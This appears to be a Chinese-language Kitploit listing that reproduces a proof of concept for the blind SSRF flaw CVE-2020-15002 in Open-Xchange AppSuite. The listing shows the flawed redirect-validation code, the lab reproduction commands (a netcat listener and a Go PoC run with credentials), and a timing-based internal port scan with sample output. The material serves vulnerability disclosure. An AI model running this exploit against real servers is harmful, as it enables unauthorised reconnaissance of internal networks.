Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Blind-SSRF-CVE-2020-15002 — https://hackerone.com/reports/865652 | Kitploit
工具/GitHubGitHub/skr0x1c0/blind-ssrf-cve-2020-15002
侦察端口扫描漏洞分析漏洞利用Web应用程序漏洞利用
GitHubskr0x1c0/blind-ssrf-cve-2020-15002

Blind-SSRF-CVE-2020-15002

https://hackerone.com/reports/865652

查看仓库
45年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

概述

AddFileAction.getImageDataFromUrl 中用于在处理 /appsuite/api/oxodocumentfilter&action=addfile 时从外部URL获取图片的逻辑(实现在此)仅在遵循所有重定向后才验证重定向的URL。

root@kitploit:~
response = httpClient.execute(getRequest, context);

int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
    List<URI> locations = context.getRedirectLocations();
    if (locations != null) {
        for (URI uri : locations) {
            try {
                Optional<OXException> oxException = validator.apply(uri.toURL());
                if (oxException.isPresent()) {
                    throw (RESTException) oxException.get().getCause();
                }
            } catch (MalformedURLException e) {
                throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
            }
        };
    }
    long length = response.getEntity().getContentLength();
    ...
}

攻击者可能利用此漏洞执行盲SSRF攻击。

复现步骤

  1. 按照指南 https://oxpedia.org/wiki/index.php?title=AppSuite:Open-Xchange_Installation_Guide_for_Debian_9.0 和 https://oxpedia.org/wiki/index.php?title=AppSuite:Documents_Installation_Guide#Debian_GNU.2FLinux_9.0_.28valid_from_v7.10.29 在虚拟机中安装 Open-Xchange 和 Documents
  2. 在虚拟机内运行以下命令使 netcat 监听在 127.0.0.1:7070
    root@kitploit:~
    nc -l 127.0.0.1 -p 7070
    
  3. 在宿主机上,从 https://golang.org/dl/ 安装 golang
  4. 下载并解压 poc.zip 文件
  5. 打开终端/命令行并将当前目录设置为解压后的 poc.zip 文件夹
  6. 运行命令
    root@kitploit:~
    go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
    
    其中
    • redirectorAddress: 重定向服务器应绑定的IP地址和端口。该IP地址必须能够从虚拟机访问
    • targetPorts: 虚拟机内 netcat 正在监听的端口
    • serverRoot: Open-Xchange 服务器的基础URL
    • serverUser: Open-Xchange 服务器中任意用户的用户名
    • serverPass: Open-Xchange 服务器中该用户的密码

运行上述命令将在 netcat 中显示以下输出

root@kitploit:~
GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher

影响

由于这是一个盲SSRF,无法读取HTTP请求的响应。但此漏洞可用于信息探测。

示例:通过测量响应时间进行端口扫描

要对服务器本地网络上的端口 7070,61616,8004,80,22,25,8080,3125 进行端口扫描,请执行以下命令

root@kitploit:~
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20

输出:

root@kitploit:~
2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000

我们可以使用 lsof 查看虚拟机内开放的端口

root@kitploit:~
sudo lsof -nP -iTCP -sTCP:LISTEN

输出:

root@kitploit:~
COMMAND  PID         USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java     467 open-xchange   15u  IPv6  13049      0t0  TCP 172.16.66.130:9994 (LISTEN)
java     467 open-xchange   16u  IPv6  15970      0t0  TCP *:42319 (LISTEN)
java     467 open-xchange   24u  IPv6  14136      0t0  TCP 127.0.0.1:61616 (LISTEN)
java     467 open-xchange   33u  IPv6  16419      0t0  TCP *:8004 (LISTEN)
java     489 open-xchange   37u  IPv6  14138      0t0  TCP 127.0.0.1:9999 (LISTEN)
java     489 open-xchange   42u  IPv6  17565      0t0  TCP 127.0.0.1:1099 (LISTEN)
java     489 open-xchange   47u  IPv6  14144      0t0  TCP 127.0.0.1:5701 (LISTEN)
java     489 open-xchange  127u  IPv6  15345      0t0  TCP *:36149 (LISTEN)
java     489 open-xchange  144u  IPv6  17559      0t0  TCP 127.0.0.1:8009 (LISTEN)
apache2  526         root    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  527     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  528     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
mysqld   695        mysql   26u  IPv4  13847      0t0  TCP 127.0.0.1:3306 (LISTEN)
exim4   1077  Debian-exim    3u  IPv4  13115      0t0  TCP 127.0.0.1:25 (LISTEN)
exim4   1077  Debian-exim    4u  IPv6  13116      0t0  TCP [::1]:25 (LISTEN)
sshd    1345         root    3u  IPv4  14259      0t0  TCP 172.16.66.130:22 (LISTEN)
sshd    1345         root    4u  IPv4  14261      0t0  TCP 127.0.0.1:22 (LISTEN)

从上述输出中,可以得出以下观察:

  • 如我们所见,对于关闭的端口 7070、8080 和 3125,响应时间很低(约小于 3ms)
  • 对于开放的端口,根据监听连接的类型,响应时间有所不同
    • 对于 ssh(端口 22),响应时间约 34ms
    • 对于 exim(端口 25),响应时间约 2170ms
    • 对于 ActiveMQ(端口 61616),响应时间约 3567ms
    • 对于 http(端口 80 和 8004),响应时间约 3ms(此类型难以与关闭端口区分)

因此,攻击者可以利用此漏洞检测大多数开放端口,并利用响应时间判断连接类型(ssh / exim / activemq 等)。

下载工具